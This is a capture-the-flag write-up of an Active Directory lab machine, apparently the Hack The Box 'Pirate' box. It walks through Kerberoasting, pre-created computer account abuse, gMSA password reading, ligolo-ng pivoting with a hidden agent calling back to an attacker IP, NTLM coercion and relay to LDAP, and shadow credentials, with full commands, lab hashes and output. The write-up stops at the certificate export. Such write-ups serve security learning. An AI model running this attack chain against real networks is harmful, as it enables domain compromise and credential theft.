1 RECON

1.1 Info

Machine information:

As is common in real life pentests, you will start the Pirate box with credentials for the following account pentest / p3nt3st2025!&

1.2 Port Scan

Bash
rustscan -a $targetIp --ulimit 1000 -r 1-65535 -- -A -sC -Pn

Result:

TXT
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2026-03-01 08:19:50Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after:  2026-06-09T14:05:15
| MD5:   5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
|_ssl-date: 2026-03-01T08:21:36+00:00; +6h59m04s from scanner time.
443/tcp   open  https?        syn-ack
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after:  2026-06-09T14:05:15
| MD5:   5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
|_ssl-date: 2026-03-01T08:21:37+00:00; +6h59m04s from scanner time.
2179/tcp  open  vmrdp?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-03-01T08:21:37+00:00; +6h59m05s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after:  2026-06-09T14:05:15
| MD5:   5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.pirate.htb
| Issuer: commonName=pirate-DC01-CA/domainComponent=pirate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-09T14:05:15
| Not valid after:  2026-06-09T14:05:15
| MD5:   5c8e:b331:ef90:890a:d8e3:feaa:b53c:2910
| SHA-1: 0128:c655:2aed:c190:efff:d3eb:a2fb:034b:fa86:ab69
|_ssl-date: 2026-03-01T08:21:37+00:00; +6h59m04s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49677/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         syn-ack Microsoft Windows RPC
49680/tcp open  msrpc         syn-ack Microsoft Windows RPC
49681/tcp open  msrpc         syn-ack Microsoft Windows RPC
49905/tcp open  msrpc         syn-ack Microsoft Windows RPC
49929/tcp open  msrpc         syn-ack Microsoft Windows RPC
49953/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 31063/tcp): CLEAN (Timeout)
|   Check 2 (port 49819/tcp): CLEAN (Timeout)
|   Check 3 (port 25056/udp): CLEAN (Timeout)
|   Check 4 (port 17097/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m03s, deviation: 0s, median: 6h59m03s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-03-01T08:21:01
|_  start_date: N/A

Full AD infrastructure exposed:

  • Kerberos (88)
  • LDAP / LDAPS (389/636)
  • Global Catalog (3268/3269)
  • SMB (445)
  • DNS (53)
  • RPC swarm (135 + high ports)
  • WinRM (5985)
  • IIS web server (80)
  • AD Certificate Services CA present (issuer: pirate-DC01-CA)
  • Message signing required on SMB
  • Domain: pirate.htb

With Netexec, use option --generate-hosts-file to generate a host file to avoid DNS problem when using LDAP or Kerberos protocols:

axura@labyrinth:~
$ nxc smb $targetIp --generate-hosts-file ./hostsfile
SMB         10.129.1.12     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
$ cat hostsfile
10.129.1.12     DC01.pirate.htb pirate.htb DC01

Import it to /etc/hosts.

1.3 AD Enumeration

1.3.1 Kerberos

From the previous scan, Port 88 (Kerberos) is open, with a significant time skew.

This host is not Kerberos-only — NTLM password authentication is still enabled, which remains common in real environments:

axura@labyrinth:~
$ nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&'
SMB         10.129.1.12     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.1.12     445    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
$ nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&'
LDAP        10.129.1.12     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        10.129.1.12     389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
$ nxc winrm pirate.htb -u 'pentest' -p 'p3nt3st2025!&'
WINRM       10.129.1.12     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
WINRM       10.129.1.12     5985   DC01             [-] pirate.htb\pentest:p3nt3st2025!&

LDAP signing is disabled on the DC (unlike SMB), making LDAP a potential relay target.

NTLM may still be restricted across parts of the domain, so it's best practice to prepare a working Kerberos setup in advance.

Attempting Kerberos authentication with NetExec (-k) fails:

axura@labyrinth:~
$ nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k
SMB         pirate.htb      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         pirate.htb      445    DC01             [-] pirate.htb\pentest:p3nt3st2025!& KRB_AP_ERR_SKEW

This is expected:

Error Countermeasure: KRB_AP_ERR_SKEW

Kerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using faketime — as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.

First, generate a Kerberos configuration using NetExec:

axura@labyrinth:~
$ nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' --generate-krb5-file ./krb5.conf
SMB         10.129.1.12     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.1.12     445    DC01             [+] krb5 conf saved to: ./krb5.conf
SMB         10.129.1.12     445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=./krb5.conf
SMB         10.129.1.12     445    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
$ cat krb5.conf
[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = PIRATE.HTB

[realms]
    PIRATE.HTB = {
        kdc = dc01.pirate.htb
        admin_server = dc01.pirate.htb
        default_domain = pirate.htb
    }

[domain_realm]
    .pirate.htb = PIRATE.HTB
    pirate.htb = PIRATE.HTB%

Export it to env:

Bash
export KRB5_CONFIG=./krb5.conf

Then use faketime, or our wrapper script ft.sh, to test Kerberos authentication:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
nxc smb pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25144.539157
25144.539157s
[*] Running: nxc smb pirate.htb -u pentest -p p3nt3st2025!& -k
SMB         pirate.htb      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         pirate.htb      445    DC01             [-] Error checking if user is admin on pirate.htb: The NETBIOS connection with the remote host timed out.
SMB         pirate.htb      445    DC01             [+] pirate.htb\pentest:p3nt3st2025!&

Kerberos authentication now succeeds. This setup can be reused whenever Kerberos access is required.

1.3.2 LDAP

1.3.2.1 Users

Enumerating domain users:

axura@labyrinth:~
$ nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' --users
LDAP        10.129.1.12     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        10.129.1.12     389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        10.129.1.12     389    DC01             [*] Enumerated 7 domain users: pirate.htb
LDAP        10.129.1.12     389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                               
LDAP        10.129.1.12     389    DC01             Administrator                 2025-06-08 07:32:36 0        Built-in account for administering the computer/domain      
LDAP        10.129.1.12     389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain    
LDAP        10.129.1.12     389    DC01             krbtgt                        2025-06-08 07:40:29 0        Key Distribution Center Service Account                     
LDAP        10.129.1.12     389    DC01             a.white_adm                   2026-01-15 16:36:34 0                                                                    
LDAP        10.129.1.12     389    DC01             a.white                       2025-06-08 12:33:01 0                                                                    
LDAP        10.129.1.12     389    DC01             pentest                       2025-06-09 06:40:23 0                                                                    
LDAP        10.129.1.12     389    DC01             j.sparrow                     2025-06-09 08:08:44 0                                                                    

Interesting pair: a.white and a.white_adm.

1.3.2.2 Kerberoasting

Use --kerberoasting option from Netexec, with our Kerberos auth primitive:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k --kerberoasting output.txt
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25144.553770
25144.553770s
[*] Running: nxc ldap pirate.htb -u pentest -p p3nt3st2025!& -k --kerberoasting output.txt
LDAP        pirate.htb      389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        pirate.htb      389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
LDAP        pirate.htb      389    DC01             [*] Skipping disabled account: krbtgt
LDAP        pirate.htb      389    DC01             [*] Total of records returned 2
LDAP        pirate.htb      389    DC01             [*] sAMAccountName: a.white_adm, memberOf: CN=IT,CN=Users,DC=pirate,DC=htb, pwdLastSet: 2026-01-15 16:36:34.388000, lastLogon: 2025-06-0
9 09:03:37.380258
LDAP        pirate.htb      389    DC01             $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$079af5eb4df00a0e07a51acf4635ecc6$82f180159c84976a3ad8de3f642488c22fb7fcbdddd
cc292c112ffc9f361c51d034654a6cd6019b198a87484d32dbbac777d1a5fbe965c6f26c846a4b2a91f30c77519f9bd78d57f649a15d2edee5c2d9c3e3b4d6575812f2addc68950f941cb1b0af34baf87a35e45d9c5eeaf762c9a3974db9
[...snip...]
LDAP        pirate.htb      389    DC01             [*] sAMAccountName: gMSA_ADFS_prod$, memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb, pwdLastSet: 2025-06-09 07:48:41.1
08220, lastLogon: 2026-02-28 23:40:06.894421
LDAP        pirate.htb      389    DC01             $krb5tgs$18$hostgmsa_adfs_prod.pirate.htb$PIRATE.HTB$*pirate.htb\gMSA_ADFS_prod$*$f17a70a35c6fe699840bc9ed$25b5810cc26517d089fdf9053d390
9576e292d09bc044fa16c788136b[...snip...]

They are roastable but not crackable with rockyou.txt. In a CTF context, that usually signals a rabbit hole.

1.3.3 BloodHound

To uncover deeper attack paths, we turn to BloodHound.

First, collect AD data using bloodhound-python:

Bash
bloodhound-python \
        -dc 'dc01.pirate.htb' -d 'pirate.htb' \
        -u 'pentest' -p 'p3nt3st2025!&' \
        -ns $targetIp --zip -c All 

Import the archive into BloodHound and start from the pentest user:

ShellSession
PENTEST → Domain Users → Authenticated Users
                           └── Pre-Windows 2000 Compatible Access

Pre-Windows 2000 Compatible Access is a legacy group for NT-style queries. In modern domains it is usually benign — unless misconfigured.

BloodHound also reveals a potential attack path originating from a.white:

Before pursuing that route, we first need a path that extends beyond ADCS exploitation to reach the priviledged user a.white.

1.3.4 Port 80

Visiting http://pirate.htb just returns a default ISS page. However on DCs, web servers could be related to:

  • AD CS web enrollment
  • SharePoint-like services

Relevant case introduced in the DarkCorp writeup.

We will see what this is for in the root section.


2 USER

2.1 Pre2k

2.1.1 Pre-2K Permissions

As noted earlier, Pre-Windows 2000 Compatible Access (pre2k) is common in legacy environments and retained for compatibility in modern domains. It grants directory read permissions required by older NT systems.

Because this target still allows NTLM authentication (rather than Kerberos-only), its presence is expected.

However, the configuration here is excessively broad:

This is a textbook over-permissive Pre-Windows 2000 Compatible Access group: every authenticated principal (Authenticated Users, Domain Users, Domain Computers, and even administrative accounts) inherits these legacy permissions.

As a result, any domain account — including low-privileged users like pentest — gains extensive read access to AD objects (such as computer accounts) and attributes that modern ACLs would normally restrict.

For deeper background, see the relevant resources on Hacktag:

The Vintage writeup demonstrates a similar recon and exploitation path targeting pre2k.

2.1.2 Get MS01$

NetExec now includes a dedicated pre2k module (-M pre2k) for streamlined exploitation:

Bash
nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -M pre2k

Using Kerberos, we can also obtain TGTs for affected accounts:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
nxc ldap pirate.htb -u 'pentest' -p 'p3nt3st2025!&' -k -M pre2k
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25144.654913
25144.654913s
[*] Running: nxc ldap pirate.htb -u pentest -p p3nt3st2025!& -k -M pre2k
LDAP        pirate.htb      389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        pirate.htb      389    DC01             [+] pirate.htb\pentest:p3nt3st2025!&
PRE2K       pirate.htb      389    DC01             Pre-created computer account: MS01$
PRE2K       pirate.htb      389    DC01             Pre-created computer account: EXCH01$
PRE2K       pirate.htb      389    DC01             [+] Found 2 pre-created computer accounts. Saved to /home/Axura/.nxc/modules/pre2k/pirate.htb/precreated_computers.txt
PRE2K       pirate.htb      389    DC01             [+] Successfully obtained TGT for [email protected]
PRE2K       pirate.htb      389    DC01             [+] Successfully obtained TGT for [email protected]
PRE2K       pirate.htb      389    DC01             [+] Successfully obtained TGT for 2 pre-created computer accounts. Saved to /home/Axura/.nxc/modules/pre2k/ccache
$ for f in ~/.nxc/modules/pre2k/ccache/*.ccache; do klist "$f"; done
Ticket cache: FILE:/home/Axura/.nxc/modules/pre2k/ccache/exch01.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
03/01/2026 02:29:49  03/01/2026 12:29:49  krbtgt/[email protected]
        renew until 03/02/2026 02:29:48
Ticket cache: FILE:/home/Axura/.nxc/modules/pre2k/ccache/ms01.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
03/01/2026 02:29:47  03/01/2026 12:29:47  krbtgt/[email protected]
        renew until 03/02/2026 02:29:46
$ cp /home/Axura/.nxc/modules/pre2k/ccache/* .

Confirm the classic vulnerability:

Pre-created computer accounts with known default passwords

We effectively gain control of two machine accounts — MS01$ and EXCH01$ — whose passwords match their account names (without the trailing $).

2.2 gMSA

2.2.1 ReadGMSAPassword

The following exploit path is then very clear:

We can leverage readGMSAPassword to compromise GMSA_ADFS_Prod$ for remote logon on the target machine.

Again, you can find relevant writeups on how to exploit ReadGMSAPassword in various ways via Hacktag searching:

2.2.2 Get GMSA_ADFS_PROR$

With the Netexec --gmsa flag:

Bash
./ft.sh pirate.htb \
nxc ldap pirate.htb -u 'MS01$' -p 'ms01' --gmsa -k

Result:

axura@labyrinth:~
$ ./ft.sh pirate.htb \
nxc ldap pirate.htb -u 'MS01$' -p 'ms01' --gmsa -k
[*] Querying offset from: pirate.htb
[*] faketime -f format: +25144.614841
25144.614841s
[*] Running: nxc ldap pirate.htb -u MS01$ -p ms01 --gmsa -k
LDAP        pirate.htb      389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP        pirate.htb      389    DC01             [+] pirate.htb\MS01$:ms01
LDAP        pirate.htb      389    DC01             [*] Getting GMSA Passwords
LDAP        pirate.htb      389    DC01             Account: gMSA_ADCS_prod$      NTLM: 304106f739822ea2ad8ebe23f802d078     PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP        pirate.htb      389    DC01             Account: gMSA_ADFS_prod$      NTLM: 8126756fb2e69697bfcb04816e685839     PrincipalsAllowedToReadPassword: Domain Secure Servers

2.3 Coerce Vulnerability

2.3.1 Internal Enumeration

After gaining access, we inspect the internal network:

axura@labyrinth:~
*Evil-WinRM* PS C:\temp> ipconfig

Windows IP Configuration

Ethernet adapter vEthernet (Switch01):

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::d976:c606:587e:f1e1%8
   IPv4 Address. . . . . . . . . . . : 192.168.100.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.1.12
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1

Next, scan the intranet 192.168.100.1/24 using fscan:

axura@labyrinth:~
*Evil-WinRM* PS C:\temp> .\fscan.exe -h 192.168.100.1/24 -nobr -nopoc

(icmp) Target 192.168.100.1   is alive
(icmp) Target 192.168.100.2   is alive
[*] Icmp alive hosts len is: 2
192.168.100.1:88 open
192.168.100.2:808 open
192.168.100.2:445 open
192.168.100.1:445 open
192.168.100.2:443 open
192.168.100.2:139 open
192.168.100.1:139 open
192.168.100.2:135 open
192.168.100.2:80 open
192.168.100.1:135 open
[*] alive ports len is: 10
start vulscan
[*] NetInfo
[*]192.168.100.1
   [->]DC01
   [->]192.168.100.1
   [->]10.129.1.12
[*] NetInfo
[*]192.168.100.2
   [->]WEB01
   [->]192.168.100.2
[*] WebTitle http://192.168.100.2      code:200 len:703    title:IIS Windows Server

A second host appears: WEB01 at 192.168.100.2.

2.3.2 Tunneling

We use ligolo-ng for pivoting.

On the attacker side (proxy server), create the interface and route:

axura@labyrinth:~
$ sudo ./proxy -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
INFO[0000] Listening on 0.0.0.0:11601
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   

  Made in France ♥            by @Nicocha30!
  Version: 0.8.2

ligolo-ng » ifcreate --name ligolo
INFO[0016] Creating a new ligolo interface...
INFO[0016] Interface created!
ligolo-ng » route_add --name ligolo --route 192.168.100.1/24
INFO[0048] Route created.

Upload the agent to the compromised host and connect back to the proxy:

axura@labyrinth:~
*Evil-WinRM* PS C:\temp> upload ../../../hacktools/port4ward/ligolo-ng/agent.exe

Info: Uploading /home/Axura/ctf/HTB/pirate/../../../hacktools/port4ward/ligolo-ng/agent.exe to C:\temp\agent.exe

Data: 8925864 bytes of 8925864 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\temp> Start-Process -FilePath ".\agent.exe" -ArgumentList "-connect 10.10.12.47:11601 -ignore-cert" -WindowStyle Hidden

Once the agent registers, start the tunnel from the proxy:

axura@labyrinth:~
[Agent : PIRATE\gMSA_ADFS_prod$@DC01] » INFO[0171] Agent joined.                                 id=00155d0bd000 name="PIRATE\\gMSA_ADFS_prod$@DC01" remote="10.129.1.12:62218"
WARN[0171] Agent 00155d0bd000 is already running, skipping recovery.
[Agent : PIRATE\gMSA_ADFS_prod$@DC01] » session
? Specify a session : 1 - PIRATE\gMSA_ADFS_prod$@DC01 - 10.129.1.12:62213 - 00155d0bd000
[Agent : PIRATE\gMSA_ADFS_prod$@DC01] » start
INFO[0193] Starting tunnel to PIRATE\gMSA_ADFS_prod$@DC01 (00155d0bd000)

The latest ligolo-ng release has a bug. If tunnel startup fails with:

Error
tun.New device or resource busy

To fix this, remove the just created interface on Linux OS first:

Bash
sudo ip link delete ligolo

Then run start again in the proxy server to restart the tunnel.

We now have direct access to the target's 192.168.100.1/24 network from the attacker machine:

axura@labyrinth:~
$ ping 192.168.100.2 -c 4
PING 192.168.100.2 (192.168.100.2) 56(84) bytes of data.
64 bytes from 192.168.100.2: icmp_seq=1 ttl=64 time=498 ms
64 bytes from 192.168.100.2: icmp_seq=2 ttl=64 time=502 ms
64 bytes from 192.168.100.2: icmp_seq=3 ttl=64 time=696 ms
64 bytes from 192.168.100.2: icmp_seq=4 ttl=64 time=529 ms

--- 192.168.100.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 497.810/556.103/695.801/81.518 ms

2.3.3 Vulnerability Scanning

Add the discovered host to /etc/hosts:

/etc/hosts
192.168.100.2    WEB01.pirate.htb

Begin a fresh recon cycle against this new target.

Using NetExec modules, we check common NTLM-related weaknesses:

Bash
# Scan DC01
nxc smb DC01.pirate.htb\
    -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
    -M ntlm_reflection -M coerce_plus

# Scan WEB01
nxc smb WEB01.pirate.htb\
    -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
    -M ntlm_reflection -M coerce_plus

Jackpot:

axura@labyrinth:~
$ nxc smb DC01.pirate.htb\
    -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
    -M ntlm_reflection -M coerce_plus
SMB         10.129.1.12     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.1.12     445    DC01             [+] pirate.htb\gMSA_ADFS_prod$:8126756fb2e69697bfcb04816e685839
COERCE_PLUS 10.129.1.12     445    DC01             VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.1.12     445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 10.129.1.12     445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 10.129.1.12     445    DC01             VULNERABLE, PrinterBug
COERCE_PLUS 10.129.1.12     445    DC01             VULNERABLE, MSEven
$ nxc smb WEB01.pirate.htb\
    -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
    -M ntlm_reflection -M coerce_plus
SMB         192.168.100.2   445    WEB01            [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None)
SMB         192.168.100.2   445    WEB01            [+] pirate.htb\gMSA_ADFS_prod$:8126756fb2e69697bfcb04816e685839
COERCE_PLUS 192.168.100.2   445    WEB01            VULNERABLE, PetitPotam
COERCE_PLUS 192.168.100.2   445    WEB01            VULNERABLE, PrinterBug
COERCE_PLUS 192.168.100.2   445    WEB01            VULNERABLE, PrinterBug
COERCE_PLUS 192.168.100.2   445    WEB01            VULNERABLE, MSEven

Both machines are coercable. But only WEB01 has NO SMB signing, which means we can relay the NTLM auth from there.

SMB signing enforces integrity on the NTLM session. So NTLM relay to SMB on DC01 is blocked , while LDAP relay remains open where we found in section 1.3.1.

This means we can relay SMB auth (NTLM) from WEB01, to LDAP on DC01.

2.3.4 Relaying Attack

We've covered coercion and relaying attacks extensively in earlier writeups, especially Mist and Signed:

A coercion vulnerability is:

A flaw that lets an attacker force a Windows machine to authenticate to a target they control.

In short, we make the victim initiate the connection.

First, start a listener — the relay station — using ntlmrelayx from Impacket:

Bash
ntlmrelayx.py -t ldap://DC01.pirate.htb -i \
    --delegate-access \
    -smb2support \
    --remove-mic

We relay authentication to DC01's LDAP service, which we already know lacks signing (see section 1.3.1).

Without --remove-mic, we'll encounter:

Error
[!] The client requested signing. 
Relaying to LDAP will not work!
(This usually happens when relaying from SMB to LDAP)

Because gMSA_ADFS_prod$ is a machine account, in this case it can modify its own attributes. The --remove-mic option strips the NTLM MIC, bypassing integrity enforcement and allowing SMB→LDAP relay.

With the relay server running, trigger coercion using NetExec:

Bash
nxc smb WEB01.pirate.htb \
    -u 'gMSA_ADFS_prod$' -H '8126756fb2e69697bfcb04816e685839' \
    -M coerce_plus \
    -o LISTENER="$attackerIp"

As the man-in-the-middle, we capture WEB01$ authentication from WEB01:

axura@labyrinth:~
# ntlmrelayx.py -t ldap://DC01.pirate.htb -i \
    --delegate-access \
    -smb2support \
    --remove-mic
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Setting up MSSQL Server on port 1433
[*] Setting up RDP Server on port 3389
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.1.12, attacking target ldap://DC01.pirate.htb
[*] (SMB): Authenticating connection from PIRATE/[email protected] against ldap://DC01.pirate.htb SUCCEED [1]
[*] ldap://PIRATE/[email protected] [1] -> Started interactive Ldap shell via TCP on 127.0.0.1:11000 as PIRATE/WEB01$
[*] (SMB): Received connection from 10.129.1.12, attacking target ldap://DC01.pirate.htb
[*] (SMB): Authenticating connection from PIRATE/[email protected] against ldap://DC01.pirate.htb SUCCEED [2]
[*] ldap://PIRATE/[email protected] [2] -> Started interactive Ldap shell via TCP on 127.0.0.1:11001 as PIRATE/WEB01$

The coerced authentication is successfully relayed to LDAP on DC01. Connect to the spawned shell:

axura@labyrinth:~
$ nc 127.0.0.1 11000
Type help for list of commands

# whoami
u:PIRATE\WEB01$

LDAP shell as WEB01$.

2.3.5 Shadow Credential Attack

With LDAP control on the DC, the ability to modify in-scope MS objects and attributes, we can perform a Shadow Credentials attack directly from the shell (see Mist):

LDAP Shell
clear_shadow_creds WEB01$
set_shadow_creds WEB01$

Result:

axura@labyrinth:~
# clear_shadow_creds WEB01$
Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb
Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102

Shadow credentials cleared successfully!

# set_shadow_creds WEB01$
Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb
Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102

KeyCredential generated with DeviceID: 22fd1ac2-675c-4b03-8687-a631bf1ce917
Shadow credentials successfully added!
Saved PFX (#PKCS12) certificate & key at path: h2Uk7wGg.pfx
Must be used with password: rXii5efEQhO6XFOKTNqg

Keep the shell for we will still use this in section 4.2.1.

2.3.6 Pass-The-Certificate

Decrypt the generated shadow credential using certipy:

Bash
certipy cert \
    -pfx <encrypted_cert> \
    -password <passowrd> \
    -export \
    -out <decrypted_cert>

Result:

axura@labyrinth:~
$ mv /home/Axura/hacktools/impacket/examples/h2Uk7wGg.pfx .
$ export PASS=rXii5efEQhO6XFOKTNqg
$ certipy cert -pfx *.pfx -password "$PASS" -export -out web01.pfx
